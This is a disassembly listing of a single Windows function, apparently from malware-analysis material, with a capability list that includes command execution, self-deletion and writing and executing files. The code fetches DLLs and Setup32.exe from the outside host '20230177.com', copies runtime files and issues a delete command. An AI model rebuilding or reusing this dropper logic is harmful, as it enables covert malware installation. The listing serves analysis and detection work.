Function at 0x401490
Capabilities:
Copy file
Create directory
Execute command
Get common file path
Get program files directory
Self delete
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x918
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x914], eax
push ebx
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x100
lea eax, [esp + 0x10c]
push 0
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
lea ebx, [esp + 0x108]
call fcn.00401390
test eax, eax
je 0x401944
mov eax, ebx
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4014e0
mov ecx, dword [str.System32]
mov edx, dword [0x403298]
mov dword [eax], ecx
mov cx, word [0x40329c]
push esi
mov dword [eax + 4], edx
lea edx, [esp + 0x10c]
push edi
push edx
mov word [eax + 8], cx
call dword [sym.imp.MSVCR90.dll__mkdir]
push 0x100
lea eax, [esp + 0x624]
push 0
push eax
call sub.MSVCR90.dll_memset
mov ebx, dword [sym.imp.MSVCR90.dll_sprintf]
lea ecx, [esp + 0x120]
push ecx
lea edx, [esp + 0x630]
push str.del__q__a__s.
push edx
call ebx
lea eax, [esp + 0x638]
push eax
call dword [sym.imp.MSVCR90.dll_system]
mov ecx, 7
mov esi, str.http:__20230177.com_rerx32_
lea edi, [esp + 0x230]
rep movsd dword es:[edi], dword [esi]
push 0xe7
lea ecx, [esp + 0x251]
push 0
push ecx
movsb byte es:[edi], byte [esi]
call sub.MSVCR90.dll_memset
push str.ShdApi.dll
lea edx, [esp + 0x240]
push edx
lea eax, [esp + 0x44c]
push 0x4032d4
push eax
call ebx
push str.ShdApi.dll
lea ecx, [esp + 0x150]
push ecx
lea edx, [esp + 0x50]
push 0x4032dc
push edx
call ebx
lea eax, [esp + 0x464]
add esp, 0x4c
push eax
lea eax, [esp + 0x10]
call fcn.00401290
add esp, 4
test eax, eax
je 0x401942
push str.ShdPub.dll
lea ecx, [esp + 0x214]
push ecx
lea edx, [esp + 0x420]
push 0x4032d4
push edx
call ebx
push str.ShdPub.dll
lea eax, [esp + 0x124]
push eax
lea ecx, [esp + 0x24]
push 0x4032dc
push ecx
call ebx
lea edx, [esp + 0x438]
push edx
lea eax, [esp + 0x30]
call fcn.00401290
add esp, 0x24
test eax, eax
je 0x401942
push str.ShdUI.dll
lea eax, [esp + 0x214]
push eax
lea ecx, [esp + 0x420]
push 0x4032d4
push ecx
call ebx
push str.ShdUI.dll
lea edx, [esp + 0x124]
push edx
lea eax, [esp + 0x24]
push 0x4032dc
push eax
call ebx
lea ecx, [esp + 0x438]
push ecx
lea eax, [esp + 0x30]
call fcn.00401290
add esp, 0x24
test eax, eax
je 0x401942
push str.Setup32.exe
lea edx, [esp + 0x214]
push edx
lea eax, [esp + 0x420]
push 0x4032d4
push eax
call ebx
push str.Setup32.exe
lea ecx, [esp + 0x124]
push ecx
lea edx, [esp + 0x24]
push 0x4032dc
push edx
call ebx
lea eax, [esp + 0x438]
push eax
lea eax, [esp + 0x30]
call fcn.00401290
add esp, 0x24
test eax, eax
je 0x401942
xor eax, eax
mov cl, byte [esp + eax + 0xc]
mov byte [esp + eax + 0x81c], cl
inc eax
test cl, cl
jne 0x4016c4
push 0x103
mov byte [esp + 0x318], cl
lea ecx, [esp + 0x319]
push 0
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0x26
lea edx, [esp + 0x31c]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x314]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401710
mov ecx, dword [str.Shield]
mov edx, dword [0x4032e8]
mov dword [eax], ecx
mov dword [eax + 4], edx
push str.mfc90.dll
lea eax, [esp + 0x318]
push eax
lea ecx, [esp + 0x218]
push 0x4032dc
push ecx
call ebx
push str.mfc90.dll
lea edx, [esp + 0x124]
push edx
lea eax, [esp + 0x24]
push 0x4032dc
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x20
push 0
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x218]
push edx
call esi
test eax, eax
je 0x401942
push str.mfc90u.dll
lea eax, [esp + 0x318]
push eax
lea ecx, [esp + 0x218]
push 0x4032dc
push ecx
call ebx
push str.mfc90u.dll
lea edx, [esp + 0x124]
push edx
lea eax, [esp + 0x24]
push 0x4032dc
push eax
call ebx
add esp, 0x20
push 0
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x218]
push edx
call esi
test eax, eax
je 0x401942
push str.Microsoft.VC90.CRT.manifest
lea eax, [esp + 0x318]
push eax
lea ecx, [esp + 0x218]
push 0x4032dc
push ecx
call ebx
push str.Microsoft.VC90.CRT.manifest
lea edx, [esp + 0x124]
push edx
lea eax, [esp + 0x24]
push 0x4032dc
push eax
call ebx
add esp, 0x20
push 0
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x218]
push edx
call esi
test eax, eax
je 0x401942
push str.Microsoft.VC90.MFC.manifest
lea eax, [esp + 0x318]
push eax
lea ecx, [esp + 0x218]
push 0x4032dc
push ecx
call ebx
push str.Microsoft.VC90.MFC.manifest
lea edx, [esp + 0x124]
push edx
lea eax, [esp + 0x24]
push 0x4032dc
push eax
call ebx
add esp, 0x20
push 0
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x218]
push edx
call esi
test eax, eax
je 0x401942
push 0
call dword [sym.imp.MSVCR90.dll__time64]
push eax
call dword [sym.imp.MSVCR90.dll_srand]
mov edi, dword [sym.imp.MSVCR90.dll_rand]
add esp, 8
mov esi, 4
call edi
sub esi, 1
jne 0x401890
call edi
lea esi, [eax*8]
sub esi, eax
add esi, esi
add esi, esi
call edi
add eax, esi
cdq
mov ecx, 0xf4240
idiv ecx
mov esi, edx
cmp esi, ecx
jl 0x4018ba
sub esi, ecx
cmp esi, 0x186a0
jge 0x4018cb
call edi
lea esi, [esi + eax + 0x186a0]
push esi
lea edx, [esp + 0x720]
push str._ld.txt
push edx
call ebx
lea eax, [esp + 0x728]
push eax
lea ecx, [esp + 0x120]
push ecx
lea edx, [esp + 0x530]
push str._s_s
push edx
call ebx
lea eax, [esp + 0x538]
push 0x403300
push eax
call dword [sym.imp.MSVCR90.dll_fopen]
mov esi, eax
push esi
push 1
push 1
push 0x403304
call dword [sym.imp.MSVCR90.dll_fwrite]
push esi
call dword [sym.imp.MSVCR90.dll_fclose]
lea edi, [esp + 0x554]
call fcn.00401000
lea ecx, [esp + 0x854]
push ecx
call fcn.00401300
add esp, 0x3c
pop edi
pop esi
call fcn.004010d0
mov ecx, dword [esp + 0x918]
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040196a
add esp, 0x918
ret 0x10